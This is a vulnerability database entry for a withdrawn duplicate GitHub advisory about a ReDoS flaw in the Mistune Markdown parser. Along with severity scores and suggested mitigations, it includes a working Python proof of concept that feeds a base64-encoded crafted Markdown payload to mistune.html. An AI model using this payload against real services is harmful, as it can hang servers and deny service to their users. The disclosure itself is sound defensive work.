Search for vulnerabilities
| Vulnerability ID | VCID-sh4a-8vh7-ayb4 |
| Aliases |
GHSA-hjph-f4mc-wx4c
|
| Summary | Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input ### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references. ### Original Description ### Summary **Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs. **Function affected:** parse_link_title() in helpers.py **Issue:** Malformed reference links cause excessive backtracking and parsing loops. **Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability. ### Details ``` Name: mistune Version: 3.2.0 Python version: Python 3.13.9 PIP version: pip 25.2 OS: Kali-linux-VERSION="2025.4" ``` ### PoC ``` import mistune import base64 print("Exploit started....!") data = base64.b64decode( "WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==" ) mistune.html(data.decode("utf-8", errors="ignore")) ``` ### Reproduce steps: Simply execute above python script it will hang & increase cpu utilization to 100% **Fuzzer Output (libFuzzer):** ``` ERROR: libFuzzer: timeout after 3 seconds SUMMARY: libFuzzer: timeout ``` **Stack Trace (Excerpt):** ``` mistune/helpers.py:170 in parse_link_title mistune/block_parser.py:259 in parse_ref_link mistune/core.py:216 in parse_method mistune/block_parser.py:458 in parse mistune/markdown.py:93 in parse mistune/markdown.py:120 in __call__ ``` ### IMAGE POC: <img width="1194" height="728" alt="POC" src="https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077" /> ### Impact: Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown ### Suggested Mitigations: Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC. This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently. |
| Status | Published |
| Exploitability | None |
| Weighted Severity | None |
| Risk | None |
| Affected and Fixed Packages | Package Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1_qr | HIGH | https://github.com/advisories/GHSA-hjph-f4mc-wx4c |
| cvssv4 | 7.7 | https://github.com/lepture/mistune |
| generic_textual | HIGH | https://github.com/lepture/mistune |
| cvssv3.1_qr | HIGH | https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c |
| cvssv4 | 7.7 | https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c |
| generic_textual | HIGH | https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/lepture/mistune | ||
| https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c | ||
| GHSA-hjph-f4mc-wx4c | https://github.com/advisories/GHSA-hjph-f4mc-wx4c |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
No EPSS data available for this vulnerability.
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-05-31T10:58:04.792347+00:00 | GithubOSV Importer | Import | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-hjph-f4mc-wx4c/GHSA-hjph-f4mc-wx4c.json | 38.6.0 |